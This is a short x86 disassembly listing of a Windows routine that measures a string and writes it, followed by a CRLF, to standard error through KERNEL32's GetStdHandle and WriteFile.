mov edi, edx
xor edx, edx
mov ecx, eax
inc eax
cmp byte [ecx], 0
je 0x40d1f7
inc edx
jmp 0x40d1ec
push 0
lea eax, [esp + 4]
push eax
push edx
push esi
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [esp + 4]
push eax
push 2
lea eax, [esp + 0x10]
push eax
push 0xfffffffffffffff4
mov word [esp + 0x18], 0xa0d
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, edi
jmp 0x40d540